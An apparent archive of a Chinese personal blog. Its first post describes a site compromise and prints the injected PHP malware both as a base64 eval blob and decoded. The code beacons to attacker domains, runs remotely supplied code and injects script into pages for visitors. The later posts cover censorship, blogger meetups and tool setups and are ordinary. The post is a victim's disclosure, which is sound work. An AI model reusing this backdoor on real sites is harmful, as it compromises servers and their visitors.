blog被入侵

前几日blog被入侵,在所有页面都被注入以下代码:

<?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPSJodHRwOi8vc3dlZXBzdGFrZXNhbmRjb250ZXN0c2RvLmNvbS8iOyAgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICRfU0VSVkVSWydzX2ExJ109J2h0dHA6Ly93d3cubGlseXBvcGhpbHlwb3AuY29tL2dfbG9hZC5waHAnLiRkOyAgJF9TRVJWRVJbJ3NfYTInXT0naHR0cDovL3d3dy5sb2x5cG9waG9seXBvcC5jb20vZ19sb2FkLnBocCcuJGQ7ICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibW0ucGhwP2Q9MSI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9″));?>

非常感谢 @zula和@tifan的帮助,清理掉了病毒,恢复了blog。用了一个很简单的办法:

find . -name “*.php” -exec sed -i ’1s///g’ {} \;

另外,@tifan还给出了病毒的源代码:

if (function_exists(‘ob_start’) && !isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (!function_exists(‘mrobh’)) {
function get_tds_777($url) {
$content = “”;
$content = @trycurl_777($url);
if ($content !== false) return $content;
$content = @tryfile_777($url);
if ($content !== false) return $content;
$content = @tryfopen_777($url);
if ($content !== false) return $content;
$content = @tryfsockopen_777($url);
if ($content !== false) return $content;
$content = @trysocket_777($url);
if ($content !== false) return $content;
return ”;
}
function trycurl_777($url) {
if (function_exists(‘curl_init’) === false) return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == “”) return false;
return $result;
}
function tryfile_777($url) {
if (function_exists(‘file’) === false) return false;
$inc = @file($url);
$buf = @implode(”, $inc);
if ($buf == “”) return false;
return $buf;
}
function tryfopen_777($url) {
if (function_exists(‘fopen’) === false) return false;
$buf = ”;
$f = @fopen($url, ‘r’);
if ($f) {
while (!feof($f)) {
$buf. = fread($f, 10000);
}
fclose($f);
} else return false;
if ($buf == “”) return false;
return $buf;
}
function tryfsockopen_777($url) {
if (function_exists(‘fsockopen’) === false) return false;
$p = @parse_url($url);
$host = $p['host'];
$uri = $p['path'].’?’.$p['query'];
$f = @fsockopen($host, 80, $errno, $errstr, 30);
if (!$f) return false;
$request = “GET $uri HTTP/1.0\n”;
$request. = “Host: $host\n\n”;
fwrite($f, $request);
$buf = ”;
while (!feof($f)) {
$buf. = fread($f, 10000);
}
fclose($f);
if ($buf == “”) return false;
list($m, $buf) = explode(chr(13).chr(10).chr(13).chr(10), $buf); //\r\n\r\n
return $buf;
}
function trysocket_777($url) {
if (function_exists(‘socket_create’) === false) return false;
$p = @parse_url($url);
$host = $p['host'];
$uri = $p['path'].’?’.$p['query'];
$ip1 = @gethostbyname($host);
$ip2 = @long2ip(@ip2long($ip1));
if ($ip1 != $ip2) return false;
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!@socket_connect($sock, $ip1, 80)) {@socket_close($sock);
return false;
}
$request = “GET $uri HTTP/1.0\n”;
$request. = “Host: $host\n\n”;
socket_write($sock, $request);
$buf = ”;
while ($t = socket_read($sock, 10000)) {
$buf. = $t;
}@socket_close($sock);
if ($buf == “”) return false;
list($m, $buf) = explode(chr(13).chr(10).chr(13).chr(10), $buf);
return $buf;
}
function update_tds_file_777($tdsfile) {
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == “”) $val = get_tds_777($actual2);
$f = @fopen($tdsfile, “w”);
if ($f) {@fwrite($f, $val);@fclose($f);
}
if (strstr($val, “|||CODE|||”)) {
list($val, $code) = explode(“|||CODE|||”, $val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777() {
$defaultdomain = $_SERVER['s_d1'];
$dir = $_SERVER['s_p1'];
$tdsfile = $dir.”log1.txt”;
if (@file_exists($tdsfile)) {
$mtime = @filemtime($tdsfile);
$ctime = time() – $mtime;
if ($ctime > $_SERVER['s_t1']) {
$content = update_tds_file_777($tdsfile);
} else {
$content = @file_get_contents($tdsfile);
}
} else {
$content = update_tds_file_777($tdsfile);
}
$tds = @explode(“\n”, $content);
$c = @count($tds) + 0;
$url = $defaultdomain;
if ($c > 1) {
$url = trim($tds[mt_rand(0, $c - 2)]);
}
return $url;
}
function is_mac_777($ua) {
$mac = 0;
if (stristr($ua, “mac”) || stristr($ua, “safari”)) if ((!stristr($ua, “windows”)) && (!stristr($ua, “iphone”))) $mac = 1;
return $mac;
}
function is_msie_777($ua) {
$msie = 0;
if (stristr($ua, “MSIE 6″) || stristr($ua, “MSIE 7″) || stristr($ua, “MSIE 8″) || stristr($ua, “MSIE 9″)) $msie = 1;
return $msie;
}
function setup_globals_777() {
$rz = $_SERVER["DOCUMENT_ROOT"].”/.logs/”;
$mz = “/tmp/”;
if (!is_dir($rz)) {@mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"].”/.logs/”;
if (!is_dir($rz)) {@mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, “msnbot”) || stristr($ua, “Yahoo”)) $bot = 1;
if (stristr($ua, “bingbot”) || stristr($ua, “google”)) $bot = 1;
$msie = 0;
if (is_msie_777($ua)) $msie = 1;
$mac = 0;
if (is_mac_777($ua)) $mac = 1;
if (($msie == 0) && ($mac == 0)) $bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = “http://sweepstakesandcontestsdo.com/”;
$d = ‘?d=’.urlencode($_SERVER["HTTP_HOST"]).”&p=”.urlencode($_SERVER["PHP_SELF"]).”&a=”.urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = ‘http://www.lilypophilypop.com/g_load.php’.$d;
$_SERVER['s_a2'] = ‘http://www.lolypopholypop.com/g_load.php’.$d;
$_SERVER['s_script'] = “mm.php?d=1″;
}
setup_globals_777();
if (!function_exists(‘gml_777′)) {
function gml_777() {
$r_string_777 = ”;
if ($_SERVER['s_b1'] == 0) $r_string_777 = ‘‘;
return $r_string_777;
}
}
if (!function_exists(‘gzdecodeit’)) {
function gzdecodeit($decode) {
$t = @ord(@substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = @unpack(‘v’, substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = @gzinflate(@substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
}
function mrobh($content) {@Header(‘Content-Encoding: none’);
$decoded_content = gzdecodeit($content);
if (preg_match(‘/\]*\>)/si’, gml_777().”\n”.’$1′, $decoded_content);
} else {
return $decoded_content.gml_777();
}
}
ob_start(‘mrobh’);
}
}

感兴趣的同学可以研究一下~~~

试用Google Currents

Google Currents producer logo

Google Currents是google最新推出的数字内容移动平台,安卓平台和iOS平台都可以使用(不支持中国区)。看了一圈评价,觉得还是xjp的看法靠谱,这不仅仅是数字阅读移动平台,更为重要的是,它还是一个个人数字内容出版平台,对于自媒体而言,可以零成本的将自己的内容通过这个平台发布到移动设备上,app的资金与技术成本还是太高了。

试用了一下它的发布功能,总体而言Google Currents还是一个非常典型的beta产品,问题多多。例如对于feed的解析,远不如google redaer强大,某些feed不能正常解析。虽然内置支持google+,但是对google+内容的处理问题很大,例如我把自己的google+发布上去,它却只能提供很多天以前的内容,最新的内容始终看不到。但是也看到,它改进也是很快的,头一天建立的内容还不能删除,第二天就已经修好了。

记得之前有人说干脆自己做个app,然后在上面写连载小说。Google Currents已经能够完全实现这个功能了。Google Currents 可以通过feed导入内容,也可以从google doc导入,那么只要在google docs写小说,就可以同步发布到Google Currents 了。

我把我的blog、flickr、tumblr、google+的内容整合在一起发布到了Google Currents ,你可以在移动设备上点击这个链接在Google Currents 上订阅我发布的内容。或者也可以在Google Currents上搜索“半亩塘闲话”找到我。

下面是我在Google Currents上的两张截图:

(照片页)

(导航页)
我穿墙而来,google Currents能当几时?

寻人启事:#aiweiwei—blog串联贴纸

做了一个blog贴纸,欢迎在您自己的blog上使用:

寻人启事:#aiweiwei

图片来自 Akmezero4海报设计,“寻人启事”四个字来自艾未未母亲高瑛的手书

blog贴纸代码:

<a href=”http://stickeraction.com/aiweiwei/go” title=”寻人启事:#aiweiwei”><img src=”http://stickeraction.com/aiweiwei/sticker” alt=”寻人启事:#aiweiwei” border=”0″ /></a>

中国需要“特立独行”的人,他只是在为他的良心做事,只是做了一些应该做也有必要作,但是又没有人敢做的事而已。

—————

我们是平等的,但是“他们”更平等。

blog换了一个主题

原来使用的Mimbo主题总感觉太过阴郁,不太适合自己blog的风格。因此这两天换了一个简洁明快的Toolbox主题。

这个主题完全采用html5元素进行设计,因此用太老的浏览器看我的blog不知道会变成什么样子。还好看我blog的人一多半都是rss订阅看的,直接上blog的不多,尤其还是在墙外,让IE们惨不忍睹去吧 :D

通过Twip代理使用twhirl

由于今天appspot.com被连锅端墙掉了,上面建的twitter代理也不能用了,twhirl于是彻底杯具。只好转回来用twip在自己的服务器上架代理。

之前在自己服务器上架过一个Twip代理,但是随着twitter采用OAuth后就改到GAE上了。现在Twip已经做了很多更新,架设起来还算简单。但是由于每个人服务器的环境千差万别,还是会碰到许多意想不到的问题。

参照Twip上的说明,我把原来服务器上的twip用svn升到了最新版本,但是按照twip提供的twhirl使用方式却不成功,可以登录,但是接收不到任何消息,发送的消息也不知道发到哪里去了。还好问了一下twip的开发者,很快收到回信,原来不能按照说明里的方法架设,不要用RAW_BASE_URL,而应该用O_MODE_URL 的方式,twhirl的用户名格式是 username@O_MODE_URL/1

在这个方法下设置好后,仍然不行。最后想起来或许是因为之前瞎折腾twip,不定改了什么东西出问题了,于是整个删除后重装了一遍twip,然后按照上面的方法设置,twhirl又运行如常了。

最后祝刘晓波好运。全是因为这事才墙的GAE吧?

2010中文网志年会随感

一年一度的网志年会已然结束(或者说根本没有开?)。本届年会口号征集时得票最多的恐怕就是“博云见志”,年会日程也多是移动应用,未想到一语成谶,年会真的成了一个“移动”大会,年会会场两度被迫取消,赶来参加年会的blogger们于是只好在上海像云一样四处移动,纷纷小聚起来聊天、讨论,真的是像有人说的那样,整个上海成了年会的会场了。或许这就是未来3.0风格会议的雏形?:-)

本次最为遗憾的是,没有去成艾未未马陆工作室,那里这几天简直成了一个理想主义者的伊甸园。

而本次最让我高兴的是,借年会和Wing的风,上海的维基百科人聚会恐怕是大陆有史以来最大的一次维基百科聚会,来了30多人,不仅有本地的,还有南京等周边城市的维基百科人也特意赶来参加,真的是令人激动。

wikipedians聚会

(上海维基百科聚会)

而本次最为意外和激动的,则是居然碰到了传说中的曾金燕。未想到是看起来如此柔弱的一个女子,内心却如此坚强,看到她就让人感到自由的宝贵和对黑暗的统治集团的愤怒。

巧遇曾金燕

墙,已经不仅仅是虚拟世界中的邪恶机器,也已经越来越渗透到每个人的日常生活中,年会被“墙”掉,只能激发起人们对自由的更加向往。其实,大多数人并不会真的去“颠覆国家政权”,我只是希望能够有一个地方可以自由的畅所欲言,自由的表达自己的看法。但是身在天朝,这样一点点小小的愿望都是奢求。或许现在许多人已经习惯了墙内的网上生活,用鸵鸟心态,以及各种隐晦手法避免碰触到墙。但是来自墙外的人们恐怕很难适应。而对于我这种老网民来说,曾经经历过无墙时代的中国互联网后,直到现在也很难适应到处是敏感词的中国互联网。或许,我不属于那只温水里的青蛙。。。。

每次年会的散去都会带来一些些失落和伤感,今年虽然变成了“云会议”,但是blogger们相见仍然有一种发自内心的令人浑身温暖的快乐,虽然一年甚至几年都可能难以见上一面,但是大家都是永远的一见如故,如同老友一般….

只是不知道明年年会还有没有希望继续办下去呢?

支持冯正虎,blog串联贴纸

冯正虎的事情现在很多人已经知道了,不知道的人可以去他的网站看看,严格来说是热心人帮助他设立的网站。一个国家没有任何正当理由,拒绝一个本国公民回国是一件多么奇特的事情,这种事情只有在电影里才可能发生。

正巧在flickr上看到冯正虎的账号,其中有个网友设计的声援T恤图片,裁减了一下做成了一个blog串联贴纸。让我们展现一下blogger的力量吧。

从blogger会到推友会

从连州回来已经两天,每年一次的狂热party——中文网志年会再一次把自己搞的精疲力尽。中国特色herock都谈到本次年会过于单调,geek气息少了一些,敏感词太多了一些。阿禅同学甚至怀疑blog是否在正在走向衰落?我倒是反而觉得blog不是衰落,而恰恰是走向了成熟。

发端于IT圈的blog,早期必然带有geek的属性,大部分的作者都是在讨论新技术,新理念,创新,规模小,blogger之间的互动更为良好;而随着blog的普及,讨论的话题必然更加宽泛,这种稀释的效果,致使blog之间的互动看起来就不如以前了。再加上blog天生的自媒体属性,公民新闻也就成了blog一道亮丽的风景。本次年会的话题其实还算广泛,略涉敏感的内容只占了半个下午的时间,最为一年一度的网志年会,包涉一年来blog圈热门的话题和趋势无可厚非,但是我也觉得技术方面谈论blog技术相关的话题几乎没有了,这方面应当加强,相对来说,wordcamp与blog的结合更加紧密。当然,或许也和这次年会过于仓促有些关系,有些人没有来得及邀请到。

twitter的兴起,致使本次年会的话题很多都与此有关。还好,twitter怎么说也属于微博客……. 这也可以算是blog的一种新的发展趋势吧。遥想当年,schee一只钻研手机blog,花费不菲,现在twitter的实时消息和手机拍照上传已经是如此简单。

本次年会吸引人的地方,正如老虎庙所言,是一个洞穴会议,独具特色。有意思的是,这次来的人里还有国家爱手球队的队员,居然还有顺道偷情的blogger,哈哈,这也正好证明了blog已经走向普及和成熟,越来越多的人使用blog。

年会中我比较感兴趣的话题是新单位的儿童编程项目,非常有意思,有趣的对儿童的电脑教育在国内还是太少。而翟明磊关于《中国猛博》的精彩演讲,字字珠玑,痛快淋漓,非常让人产生共鸣。这也是整个年会大家听的最认真,掌声最多的演讲了。

每年的年会都有一些亮点,今年除了场地亮点以外,最大的亮点就是每天晚上的流水酒席了。广东宵夜的风俗,加上连州小城市无处可去的寂寥,参会者们只能聚在一起喝酒聊天了。话说第一天的晚上,我从7点一直开始吃到12点,吃完一处又去一处,却总是吃不饱,真是奇怪。而且每次都是呼朋引伴,人越聚越多,气氛热烈,非常的hi。而年会结束的晚上,大部分人都乘车回广州,结果堵在路上好长时间,我幸好留了心眼,和小部队留在了广州,结果领略了长平老师的精彩笑话,笑到抽筋。

不知道明年会在哪里办?希望明年的年会能多一些技术性,geek性质的内容,话题更广泛一些,思想的碰撞更激烈一些。

洞穴会场
头天布置会场到天黑

DSC_1048
会场上每一个人都是记者

国宝
总能看到的宝宝身影,也有人说是当地新闻办的同志

DSC_1155
山洞口也能如此迅捷的上网

DSC_1206
思想者们

明信片
回家吃饭的明信片

DSC_1263
有志者

翟明磊
慷慨激昂的翟明磊

长平
笑话大师长平演讲中(不是在讲笑话!)

另一种Twitter同步到新浪微博的方法

这种办法其实是对月光的同步办法的一个小小改进。其实主要就是第一步的变化。优点是更简化了一些流程,而却点则和月光的一样,不能即时同步。

不用去GAE上安装那个优化feed的脚本,而是改用friendfeed,friendfeed完全可以做到同样的对twitter feed的优化,去掉多余的东西同时不会增加多余的东西。将你的twitter帐号导入到friendfeed,当然也可以导入其它的内容,完全随你自己的意思。然后将你的friendfeed页面上的rss导入到twitterfeed。步骤完全和月光的一样。

提醒一点:在twitterfeed的高级设置里,最好去掉Post Link,这样在新浪微博上就不会有到twitter的连接。

翻墙登录TwitterFeed,在里面设置RSS Feed为friendfeed 的feed网址,目标服务可以选择Ping.FM或HelloTXT这两者之一,设置时候需要API Key,可以去Ping.FM或HelloTXT网站上获取。

之后,翻墙登录Ping.FMHelloTXT,在里面设置一个Custom URL,用来实现自定义同步服务,同步信息到火兔,具体代码参见这里

最后,使用原先嘀咕的帐号登录火兔后,在嘀神服务中,绑定新浪微博、开心网、人人网等,这样就可以实现从Twitter同步信息到新浪微博和开心网。

整个同步的流程图如下: twitter -> appspot friendfeed -> twitterfeed -> ping.fm -> customurl -> huotu -> 新浪微博。

Custom URL代码的设置:修改pingfm.php,增加如下一行:

$twitters["digu"] = new PingFm(‘http://api.minicloud.com.cn/statuses/update.format’, ‘content’, array(‘source’ => ‘你的digu用户名’), ‘你的digu用户名’, ‘你的digu密码’);

